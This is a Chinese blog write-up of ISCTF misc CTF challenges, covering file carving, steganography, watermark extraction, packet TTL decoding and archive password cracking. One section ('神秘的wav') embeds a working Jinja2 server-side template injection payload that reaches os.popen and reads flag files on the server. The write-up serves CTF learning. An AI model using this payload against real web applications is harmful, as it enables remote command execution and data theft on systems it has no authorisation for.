ISCTF复现-misc

news2024/12/19 9:55:34

File_Format

下载附件后用010打开查看文件头会发现是个exe文件

格式:文件描述(后缀名),文件头(hex):文件头标识(十六进制)
 
PNG (png),文件头(hex):89504E47
PNGImageFile (png), 文件头(hex):89504E470D0A
JPEG (jpg), 文件头(hex):FFD8FF
GIF (gif),文件头(hex):47494638
TIFF (tif),文件头(hex):49492A00
GzipArchiveFile (gz;tar;tgz), 文件头(hex):1F8B
AdobeAcrobat (pdf), 文件头(hex):255044462D312E
EXE(EXE), 文件头(hex):4D5A90
Windows Bitmap (bmp),文件头(hex):424D
CAD (dwg),文件头(hex):41433130
Adobe Photoshop (psd),文件头(hex):38425053
Rich Text Format (rtf),文件头(hex):7B5C727466
XML (xml),文件头(hex):3C3F786D6C
HTML (html),文件头(hex):68746D6C3E
Email [thorough only] (eml),文件头(hex):44656C69766572792D646174653A
Outlook Express (dbx),文件头(hex):CFAD12FEC5FD746F
Outlook (pst),文件头(hex):2142444E
MS Word/Excel (xls.or.doc),文件头(hex):D0CF11E0
MS Access (mdb),文件头(hex):5374616E64617264204A
WordPerfect (wpd),文件头(hex):FF575043
Postscript (eps.or.ps),文件头(hex):252150532D41646F6265
Adobe Acrobat (pdf),文件头(hex):255044462D312E
Quicken (qdf),文件头(hex):AC9EBD8F
Windows Password (pwl),文件头(hex):E3828596
ZIP Archive (zip),文件头(hex):504B0304
RAR Archive (rar),文件头(hex):52617221
Wave (wav),文件头(hex):57415645
AVI (avi),文件头(hex):41564920
Real Audio (ram),文件头(hex):2E7261FD
Real Media (rm),文件头(hex):2E524D46
MPEG (mpg),文件头(hex):000001BA
MPEG (mpg),文件头(hex):000001B3
Quicktime (mov),文件头(hex):6D6F6F76
Windows Media (asf),文件头(hex):3026B2758E66CF11
MIDI (mid),文件头(hex):4D546864

修改后缀名后得到

打开时会发现需要密码

在文件尾会发现有压缩包的痕迹,应该是需要压缩包爆破,因为没给别的东西了

将后缀更改为zip,然后进行爆破,在六位数爆破后得到密码241023

最后再次更改为exe,提取后得到flag

starry sky

解压后有三个附件,打开flag.txt会发现有串base64

居然解不出来,看到附件有xor,想到异或,应该是被处理过,码表有问题,但主题肯定是base64,尝试去处理那个png

打开后会发现是个base64转图片,转图片转不出来

解一下,会在末尾发现异或的key是FF,接下来用010进行异或操作

选择十六进制运算下的二进制异或

处理后发现是个wav文件,修改后缀后也听不出来是什么,去看了别人的wp知道要用到RX-sstv进行解密,但是在下载使用这个软件之前,要下载一个虚拟声卡,并且进行设置

SSTV音频转图片_rx-sstv-CSDN博客

这里附上具体操作链接

补充:

虚拟声卡e2eSoft

由于SSTV工具是根据音频传递图片信息,正常解法需要一台设备播放一台设备收音,所以需要一个虚拟声卡,还能避免杂音的干扰。

解密后得到密钥

DES解密得到flag

watermark

解压后得到三个附件

压缩包需要密码,那么肯定来自下面两个附件

可以看到key1是个文字水印

key2是张图片,根据题目来看应该是盲水印

用盲水印工具提取可以得到key2是64oRvUfta9yJsBv

用文本水印工具文本隐水印可以得到key1是FAAqDPjpgKJiB6m

合起来就是FAAqDPjpgKJiB6m64oRvUfta9yJsBv

解压后得到flag.txt

ctrl+f得到flag

像素圣战

打开得到一张倒置的图片,发现名字翻译成英文就想到pixeljihadPixelJihad,看描述里面有一个ISCTF,这个就是密码

得到一串二进制,要是图片是倒置的,那么二进制肯定也是,先用脚本翻转一下

def reverse_string(input_str):
    return input_str[::-1]
 
# 示例使用
original_string = "10111110011011000011000110111111101100111101001110010110011101110001100100011111110101101101010011110011101001111010011011011111001100100101110111101100010010101110000111001011001001"
reversed_string = reverse_string(original_string)
 
print("Original String:", original_string)
print("Reversed String:", reversed_string)

得到翻转后的二进制为

10010011010011100001110101001000110111101110100100110011111011011001011110010111001111001010110110101111111000100110001110111001101001110010111100110111111101100011000011011001111101

总共有182个字符,二进制一般是8的倍数,这里是7的倍数,所以在每七位前面补0,或者,直接用厨师设置就可以了

得到flag

奇怪的txt

解压以后发现是很多的txt文件,文件大小一致,而且内容也都是由base64加密以后的结果,这里猜测,可能是flag的值就在某一个文件的base64加密的数据里面,但是太多了,一个一个看不现实,考虑到可以用脚本,然后就会发现什么都没得到,拉了坨大的,后面通过题目提示和资料查找再结合别人的wp,发现会用到约瑟夫算法

def josephus_problem(n, k):
    # 创建一个列表来表示玩偶,编号从1到n
    dolls = list(range(1, n + 1))
    # 初始化当前索引为0(表示第一个玩偶)
    index = 0
    # 创建一个结果列表来存储移除玩偶的顺序
    result = []
 
    while dolls:
        # 计算下一个要移除的玩偶的索引
        index = (index + k - 1) % len(dolls)
        # 将该玩偶添加到结果列表中
        result.append(dolls.pop(index))
 
    return result
 
# 示例使用
n = int(input("请输入玩偶的总数: "))
k = 7  # 固定的数到7
order = josephus_problem(n, k)
print("玩偶被移除的顺序是:", order)

运行后得到正确序列

7, 14, 21, 28, 35, 42, 49, 56, 63, 70, 77, 84, 91, 98, 105, 112, 119, 126, 133, 3, 11, 19, 27, 36, 44, 52, 60, 68, 76, 85, 93, 101, 109, 117, 125, 134, 5, 15, 24, 33, 43, 53, 62, 72, 81, 90, 100, 110, 120, 129, 1, 12, 23, 34, 46, 57, 67, 79, 89, 102, 113, 123, 135, 9, 22, 37, 48, 61, 74, 87, 99, 114, 127, 2, 17, 31, 47, 64, 78, 94, 107, 122, 137, 18, 38, 54, 71, 88, 106, 124, 6, 26, 45, 66, 86, 108, 130, 13, 39, 59, 83, 111, 132, 25, 51, 80, 104, 136, 30, 65, 96, 128, 29, 69, 103, 8, 50, 95, 4, 55, 115, 20, 82, 10, 75, 16, 97, 41, 131, 118, 116, 121, 40, 92, 32, 58, 73

然后依照这个顺序将txt文件中的字符合并

import os
 
# 设置文件夹路径和输出文件路径
folder_path = "奇怪的txt"
output_file_path = "output_file.txt"
 
# 给定字典,包含文件名和对应的数字顺序
file_order = {
    "7.txt": 1,
    "14.txt": 2,
    "21.txt": 3,
    "28.txt": 4,
    "35.txt": 5,
    "42.txt": 6,
    "49.txt": 7,
    "56.txt": 8,
    "63.txt": 9,
    "70.txt": 10,
    "77.txt": 11,
    "84.txt": 12,
    "91.txt": 13,
    "98.txt": 14,
    "105.txt": 15,
    "112.txt": 16,
    "119.txt": 17,
    "126.txt": 18,
    "133.txt": 19,
    "3.txt": 20,
    "11.txt": 21,
    "19.txt": 22,
    "27.txt": 23,
    "36.txt": 24,
    "44.txt": 25,
    "52.txt": 26,
    "60.txt": 27,
    "68.txt": 28,
    "76.txt": 29,
    "85.txt": 30,
    "93.txt": 31,
    "101.txt": 32,
    "109.txt": 33,
    "117.txt": 34,
    "125.txt": 35,
    "134.txt": 36,
    "5.txt": 37,
    "15.txt": 38,
    "24.txt": 39,
    "33.txt": 40,
    "43.txt": 41,
    "53.txt": 42,
    "62.txt": 43,
    "72.txt": 44,
    "81.txt": 45,
    "90.txt": 46,
    "100.txt": 47,
    "110.txt": 48,
    "120.txt": 49,
    "129.txt": 50,
    "1.txt": 51,
    "12.txt": 52,
    "23.txt": 53,
    "34.txt": 54,
    "46.txt": 55,
    "57.txt": 56,
    "67.txt": 57,
    "79.txt": 58,
    "89.txt": 59,
    "102.txt": 60,
    "113.txt": 61,
    "123.txt": 62,
    "135.txt": 63,
    "9.txt": 64,
    "22.txt": 65,
    "37.txt": 66,
    "48.txt": 67,
    "61.txt": 68,
    "74.txt": 69,
    "87.txt": 70,
    "99.txt": 71,
    "114.txt": 72,
    "127.txt": 73,
    "2.txt": 74,
    "17.txt": 75,
    "31.txt": 76,
    "47.txt": 77,
    "64.txt": 78,
    "78.txt": 79,
    "94.txt": 80,
    "107.txt": 81,
    "122.txt": 82,
    "137.txt": 83,
    "18.txt": 84,
    "38.txt": 85,
    "54.txt": 86,
    "71.txt": 87,
    "88.txt": 88,
    "106.txt": 89,
    "124.txt": 90,
    "6.txt": 91,
    "26.txt": 92,
    "45.txt": 93,
    "66.txt": 94,
    "86.txt": 95,
    "108.txt": 96,
    "130.txt": 97,
    "13.txt": 98,
    "39.txt": 99,
    "59.txt": 100,
    "83.txt": 101,
    "111.txt": 102,
    "132.txt": 103,
    "25.txt": 104,
    "51.txt": 105,
    "80.txt": 106,
    "104.txt": 107,
    "136.txt": 108,
    "30.txt": 109,
    "65.txt": 110,
    "96.txt": 111,
    "128.txt": 112,
    "29.txt": 113,
    "69.txt": 114,
    "103.txt": 115,
    "8.txt": 116,
    "50.txt": 117,
    "95.txt": 118,
    "4.txt": 119,
    "55.txt": 120,
    "115.txt": 121,
    "20.txt": 122,
    "82.txt": 123,
    "10.txt": 124,
    "75.txt": 125,
    "16.txt": 126,
    "97.txt": 127,
    "41.txt": 128,
    "131.txt": 129,
    "118.txt": 130,
    "116.txt": 131,
    "121.txt": 132,
    "40.txt": 133,
    "92.txt": 134,
    "32.txt": 135,
    "58.txt": 136,
    "73.txt": 137,
}
 
# 对字典进行排序,根据数字顺序
sorted_files = sorted(file_order.items(), key=lambda x: x[1])
 
# 打开输出文件,准备写入
with open(output_file_path, "w") as output_file:
    # 遍历排序后的字典
    for file_name, _ in sorted_files:
        # 构建完整的文件路径
        file_path = os.path.join(folder_path, file_name)
        # 确保是 txt 文件
        if file_path.endswith(".txt"):
            # 打开文件并读取内容
            with open(file_path, "r") as file:
                content = file.read()
            # 将内容写入输出文件
            output_file.write(content)
 
# 输出文件已创建,内容已合并

然后会得到一个字符集,查看是base64,文件有点大,kimi写个脚本解码即可得到flag

import base64
 
# 读取output_file.txt的内容,并将其编码为字节串
with open('output_file.txt', 'r', encoding='UTF-8') as f:
    Sstr = "".join(f.readlines()).encode('utf-8')
 
src = Sstr
decoded_str = None  # 用于存储最后一次成功解码的字符串
 
while True:
    try:
        # 尝试解码
        src = base64.b64decode(src)
        # 如果解码成功,尝试将其解码为UTF-8字符串(这里可能抛出异常,如果解码后的数据不是有效的UTF-8)
        decoded_str = src.decode('utf-8')
    except (base64.binascii.Error, UnicodeDecodeError):
        # 如果捕获到base64解码错误或UTF-8解码错误,则退出循环
        break
    # 如果没有异常,则继续下一次迭代(但在这个例子中,由于我们解码后立即检查,所以实际上不需要continue)
 
# 如果decoded_str不为None,则写入result.txt;否则,可能表示无法解码任何内容
if decoded_str is not None:
    with open('result.txt', 'w', encoding='utf-8') as file:
        file.write(decoded_str)
    print('ok')
else:
    print('Failed to decode any content.')

少女的秘密花园

解压后得到一张图片,用foremost分离文件

打开会得到一个zip

解压后得到的文件再次分离

得到一个压缩包,但是需要密码,爆破一下看看

得到密码

解压后的flag.txt中发现需要base64转图片

得到一张不全的盲文表,修改高后如图所示,对照盲文表得到JFJUGVCGPNBTA3LFL4YG4X3GOIZTK2DNGNXH2

解码得到flag

数字迷雾:在像素中寻找线索

照例丢进随波逐流,没想到一下就跑出来了,看了发现应该是lsb隐写

来自天外的信息

游园地1

直接百度识图就可以了

游园地2

这个通过识图就出不来了,后面是根据店铺山崎居酒屋找到的位置,问了朋友是圣地巡礼

【圣地巡礼攻略】江城——《高恋》《三恋》武汉篇 - 哔哩哔哩

 神秘ping

解压后得到一个ping文件,发现有流量包信息,被倒置了

def reverse_file_bytes(input_file, output_file):
    try:
        with open(input_file, 'rb') as f:   #以二进制读取模式打开输入文件
            file_bytes = f.read()           #读取文件的全部内容到 file_bytes 变量中
        reversed_bytes = file_bytes[::-1]    #这是一个 Python 切片技巧,用于反转字节序列
        with open(output_file, 'wb') as f:    #以二进制写入模式打开输出文件
            f.write(reversed_bytes)          #将反转后的字节写入输出文件
    except Exception as e:
        print(f"An error occurred: {e}")
 
# 调用函数,输入文件为当前目录下的 'ping',输出文件为当前目录下的 'reversed_ping'
reverse_file_bytes('ping', 'reversed_ping')

用脚本恢复后拿wireshark打开

发现其中的ttl值分别有63、64、127、191、255组成,ttl为64的值是是返回的信息,⽤tshark提取ttl的值,会得到一个ttl的数据集合

tshark -r ping.pcap -Y "icmp" -T fields -e ip.ttl > ttl.txt

ttl_to_binary = {
    63: '00',
    127: '01',
    191: '10',
    255: '11'
}
 
ttl_values = [
    127, 63, 127, 63, 127, 63, 63, 127, 127, 127, 63, 255, 127, 63, 63, 255, 127, 127, 127, 63,
    127, 63, 127, 191, 127, 255, 191, 255, 63, 255, 127, 191, 63, 255, 63, 191, 63, 255, 127, 255,
    63, 255, 191, 63, 63, 255, 127, 63, 63, 255, 191, 63, 127, 191, 63, 255, 63, 255, 63, 63, 63,
    191, 255, 127, 63, 255, 127, 255, 63, 255, 127, 127, 63, 255, 191, 127, 127, 191, 63, 255, 63,
    191, 255, 127, 63, 255, 63, 127, 63, 255, 63, 127, 127, 191, 127, 127, 127, 191, 127, 191, 63,
    191, 255, 127, 63, 255, 191, 127, 63, 255, 191, 127, 63, 255, 191, 127, 127, 191, 127, 191, 63,
    191, 255, 127, 63, 255, 63, 63, 63, 255, 63, 63, 63, 255, 63, 63, 127, 191, 63, 255, 63, 255, 63,
    191, 63, 255, 191, 127, 63, 255, 63, 63, 127, 191, 63, 255, 63, 255, 63, 127, 63, 255, 191, 127,
    63, 255, 127, 191, 127, 191, 127, 127, 127, 127, 255, 255, 127
]  # 示例 TTL 列表
 
def ttl_to_binary_string(ttl_values):
    binary_string = ''
    for ttl in ttl_values:
        if ttl in ttl_to_binary:
            binary_string += ttl_to_binary[ttl]
    return binary_string
 
def binary_to_string(binary_string):
    chars = []
    for i in range(0, len(binary_string), 8):
        byte = binary_string[i:i+8]
        chars.append(chr(int(byte, 2)))
    return ''.join(chars)
 
binary_data = ttl_to_binary_string(ttl_values)
print(f"bin: {binary_data}")
 
decoded_message = binary_to_string(binary_data)
print(f"msg: {decoded_message}")

神秘的wav

打开环境是一个文件上传的页面,但是这是misc,肯定不会是文件上传,题目给了一个附件,可以尝试上传看看

给了一个base64编码

解码后是/source

访问得到一个脚本,脚本的ext函数定义了网页是如何解析wav文件,并作为输出此代码的核验标准

from flask import Flask, request, render_template, send_file, render_template_string
import wave
import os
 
app = Flask(__name__)
 
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
 
def ext(inp):         //它打开WAV文件,读取所有帧,然后将帧转换为字节数组。接着,它提取每个字节的第二位(最低位),因为信息被隐藏在这里。然后,它将这些位重新组合成字符,直到遇到一个空字符('\x00'),这通常用作消息的结束标志.
    '''
    希望你能自己搓出脚本
    '''
    with wave.open(inp, 'rb') as wav:
        frames = wav.readframes(wav.getnframes())
    frames_array = bytearray(frames)
    message_bits = [str((frames_array[i] & 2) >> 1) for i in range(len(frames_array))]
    message = ''
    for i in range(0, len(message_bits), 8):
        byte = message_bits[i:i+8]
        char = chr(int(''.join(byte), 2))
        if char == '\x00':
            break
        message += char
    return message
 
@app.route('/', methods=['GET', 'POST'])
def upload_file():
    '''
    一位misc手在各个方向都要有所了解
    '''
    if request.method == 'POST':
        file = request.files['file']
        if file and file.filename.endswith('.wav'):
            filepath = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
            file.save(filepath)
            message = ext(filepath)
            return render_template_string(message)
        else:
            return render_template_string("pls upload wav")      //此处用render_template_string 打印回显。
    return render_template('upload.html')
 
@app.route('/source', methods=['GET'])
def get_source():
    return send_file('app.py')
 
if __name__ == '__main__':
    app.run(debug=True)

render_template_string 打印回显的内容,存在ssti漏洞,而且在这段代中并没有任何的过滤,我们可以将我们要利用的ssti用我们的到的wav解密脚本写一个加密脚本,加密我们的ssti的payload,再回到上传页面,将加密的wav上传

import wave
 
def hide_msg(inp, out, msg):
    with wave.open(inp, 'rb') as wav:
        params = wav.getparams()
        frames = wav.readframes(wav.getnframes())
    msg_bin = ''.join(format(ord(char), '08b') for char in msg)
    msg_bin += '00000000'
    frames_array = bytearray(frames)
    for i in range(len(msg_bin)):
        frames_array[i] = (frames_array[i] & 253) | (int(msg_bin[i]) << 1)
 
    with wave.open(out, 'wb') as out_wav:  # 确保这里的变量名与打开文件的变量名一致
        out_wav.setparams(params)
        out_wav.writeframes(frames_array)
 
# 调用函数,传入输入文件路径、输出文件路径和要隐藏的消息
hide_msg("inp.wav", "out.wav", "{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ == '_wrap_close'%}{%print i.__init__.__globals__['popen']('cat /f*').read()%}{%endif%}{%endfor%}")

得到flag

秘密

打开后发现压缩包需要解密,联系题目描述可以知道要用到oursecret,但是需要密码才行

打开010查看一下找到了密码同时发现这个压缩包是伪加密

修改加密位后得到这张图片

得到一个txt文件

打开后看到文字里肯定有什么东西,尝试文本隐写

乱码了,搜素发现应该是零宽字符解密

得到flag

老八奇怪自拍照

附件打开后得到一张图片

根据题目描述lsb,可以看到开头是zip文件

解压后得到另外一张图

010打开会看到有个1ScTf2024!根本不知道可以用来干什么,还是去看了别人的wp,发现是steghide,反正这个脑洞我是一点都有不起啊

得到flag

赢!rar

打开附件后发现压缩包需要密码,010查看不是伪加密,直接上爆破

发现不行

在010中找到密码

打开后会发现txt文件

仔细查看会发现123的修改时间与别的不一样

打开发现有一串编码

没想法了,去看了wp,发现应该是有个文件在解压过程,相关的文件因为某种原因被处理为了冗余文件,被清理了,或者说解压以后就在原文件夹里面把那个文件删除了,尝试用7z解压看看

可以发现有这个文件

xxencode解密得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2262087.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何有效的开展接口自动化测试?

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 一、简介 接口自动化测试是指使用自动化测试工具和脚本对软件系统中的接口进行测试的过程。其目的是在软件开发过程中&#xff0c;通过对接口的自动化测试来提高测…

FFmpeg第一话:FFmpeg 简介与环境搭建

FFmpeg 探索之旅 一、FFmpeg 简介与环境搭建 二、FFmpeg 解码详解 第一话&#xff1a;FFmpeg 简介与环境搭建 FFmpeg 探索之旅一、前言二、FFmpeg 是什么&#xff1f;三、简单介绍其历史背景四、为什么用 C学习 FFmpeg&#xff1f;&#xff08;一&#xff09;高性能优势&#…

git branch -r(--remotes )显示你本地仓库知道的所有 远程分支 的列表

好的&#xff0c;git branch -r 这个命令用于列出远程分支。让我详细解释一下&#xff1a; 命令&#xff1a; git branch -rdgqdgqdeMac-mini ProductAuthentication % git branch -rorigin/main作用&#xff1a; 这个命令会显示你本地仓库知道的所有 远程分支 的列表。它不…

解锁 draw.io 流程图制作工具的强大功能与应用(1/2)

一、draw.io 简介 &#xff08;一&#xff09;基本概述 draw.io 是一款由 JGraph 公司开发的基于网页的在线图表绘制工具。它最大的优势之一就是无需进行繁琐的下载和安装步骤&#xff0c;只要打开浏览器&#xff0c;访问其官网&#xff0c;就能立即开始使用。无论是在 Window…

数据结构与算法:稀疏数组

前言 此文以整型元素的二维数组为例&#xff0c;阐述稀疏数组的思想。其他类型或许有更适合压缩算法或者其他结构的稀疏数组&#xff0c;此文暂不扩展。 稀疏数组的定义 在一个二维数据数组里&#xff0c;由于大量的元素的值为同一个值&#xff0c;比如 0或者其他已知的默认值…

【物联网技术与应用】实验4:继电器实验

实验4 继电器实验 【实验介绍】 继电器是一种用于响应施加的输入信号而在两个或多个点或设备之间提供连接的设备。换句话说&#xff0c;继电器提供了控制器和设备之间的隔离&#xff0c;因为设备可以在AC和DC上工作。但是&#xff0c;他们从微控制器接收信号&#xff0c;因此…

RV1126平台下的MobileSeg量化指南:高效部署低算力硬件

1 引言 MobileSeg系列模型采用编解码架构&#xff0c;并以轻量级模型作为骨干网络&#xff0c;专为低算力硬件&#xff08;如BPU、NPU、ARM CPU等&#xff09;设计。这使得MobileSeg在边缘设备和移动端应用中表现出色&#xff0c;具备高效能和灵活性。本文将以MobileSeg分割模…

随手记:小程序兼容后台的wangEditor富文本配置链接

场景&#xff1a; 在后台配置wangEditor富文本&#xff0c;可以文字配置链接&#xff0c;图片配置链接&#xff0c;产生的json格式为&#xff1a; 例子&#xff1a; <h1><a href"https://uniapp.dcloud.net.cn/" target"_blank"><span sty…

RabbitMQ的核心组件有哪些?

大家好&#xff0c;我是锋哥。今天分享关于【RabbitMQ的核心组件有哪些&#xff1f;】面试题。希望对大家有帮助&#xff1b; RabbitMQ的核心组件有哪些&#xff1f; 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 RabbitMQ是一个开源的消息代理&#xff08;Messag…

html基础-认识html

1.什么是html html是浏览器可以识别的的标记语言&#xff0c;我们在浏览器浏览的网页就是一个个的html文档 <!DOCTYPE html> <html> <head> <meta charset"utf-8"> <title>认识html</title> </head> <body><h1…

电子应用设计方案-59:智能电动床系统方案设计

智能电动床系统方案设计 一、引言 智能电动床作为一种高端家居产品&#xff0c;旨在为用户提供更加舒适、便捷和个性化的睡眠体验。本方案将详细介绍智能电动床系统的设计架构、功能特点和技术实现。 二、系统概述 1. 系统目标 - 实现床体的多部位电动调节&#xff0c;满足不…

【半导体二极管】

半导体二极管 半导体二极管是由两种不同类型的半导体材料&#xff08;N型和P型&#xff09;通过特定工艺结合而成的电子元器件。其基本结构为PN结。二极管的主要功能是控制电流的单向流动&#xff0c;即允许电流仅在一个方向流动&#xff0c;在反向电压作用下几乎不导电。 1.…

SpringBoot 新特性

优质博文&#xff1a;IT-BLOG-CN 2.1.0新特性最低支持jdk8,支持tomcat9 对响应式编程的支持&#xff0c;spring-boot-starter-webflux starter POM可以快速开始使用Spring WebFlux&#xff0c;它由嵌入式Netty服务器支持 1.5.8 2.1.0/2.7.0/3.0.0 Configuration propertie…

企业车辆管理系统(源码+数据库+报告)

一、项目介绍 352.基于SpringBoot的企业车辆管理系统&#xff0c;系统包含两种角色&#xff1a;管理员、用户,系统分为前台和后台两大模块 二、项目技术 编程语言&#xff1a;Java 数据库&#xff1a;MySQL 项目管理工具&#xff1a;Maven 前端技术&#xff1a;Vue 后端技术&a…

【Redis篇】Set和Zset 有序集合基本使用

目录 Set 基本命令 sadd SMEMBERS SISMEMBER SCARD 返回值&#xff1a; SPOP SMOVE SREM 集合间操作 交集&#xff1a; 并集&#xff1a; 差集&#xff1a; ​编辑 内部编码 使用场景&#xff1a; Zset 有序集合 Zset基本命令 ZADD ZCARD ZCOUNT ZRANGE …

ASRPRO学习笔记一之语音模型位置和语音替换

一、语音替换的步骤 1、扬声器录音 打开GoldWave,点击工具栏中的蓝色控制属性按钮&#xff0c;点击设备&#xff0c;选择扬声器&#xff0c;点击ok。打开电脑上的网易云音乐&#xff0c;点击红色的录制按钮&#xff0c;开始录制音乐&#xff0c;在网易云音乐上点击播放音乐,录…

2.12.顺序表和链表的比较

一.逻辑结构&#xff1a; 二.物理结构/存储结构&#xff1a; 1.顺序表&#xff1a; 优点&#xff1a;顺序表采用顺序存储的方式实现了线性表&#xff0c;由于采取了顺序存储&#xff0c;而且各个数据元素的内存大小相等&#xff0c;因此只需要知道该顺序表的起始地址即可立即找…

OSLC助力系统工程的全生命周期整合 (转)

本文作者胡振超&#xff0c;上海交通大学博士研究生。课题牵头人为鲁金直&#xff0c;瑞典皇家理工学院博士。本项目有Ericsson.SE高级顾问顾文卿&#xff0c;中科蜂巢相关工程师相关工程师所提供的基于多架构建模Karma语言的自主多架构建模工具MetaGraph、OSLC数据整合工具Dat…

electron打包linux环境

注意:新版的electron已经不支持在win上直接打包Linux的环境了,服务会卡住,会一直生成文件占用磁盘(我发现的时候占了我100G&#xff0c;而且文件夹很深&#xff0c;找了java代码while循环&#xff0c;好不容易删除的o(╥﹏╥)o) electron有一个专门打包的docker镜像&#xff0c…

活动预告|云原生创新论坛:知乎携手 AutoMQ、OceanBase、快猫星云的实践分享

近年来&#xff0c;云原生技术迅猛发展&#xff0c;成为企业数字化转型的关键动力&#xff0c;云原生不仅极大地提升了系统的灵活性和可扩展性&#xff0c;还为企业带来了前所未有的创新机遇。 12 月 28 日 知乎携手 AutoMQ、OceanBase 和快猫星云推出“云原生创新论坛”主题的…